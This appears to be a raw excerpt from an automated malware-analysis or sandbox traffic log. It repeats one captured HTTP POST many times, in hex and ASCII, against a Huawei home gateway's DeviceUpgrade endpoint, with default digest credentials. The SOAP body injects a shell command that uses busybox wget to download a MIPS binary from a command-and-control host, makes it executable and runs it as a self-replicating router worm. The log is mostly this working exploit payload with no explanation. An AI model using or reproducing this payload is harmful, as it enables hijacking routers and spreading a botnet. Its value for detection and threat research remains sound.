70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
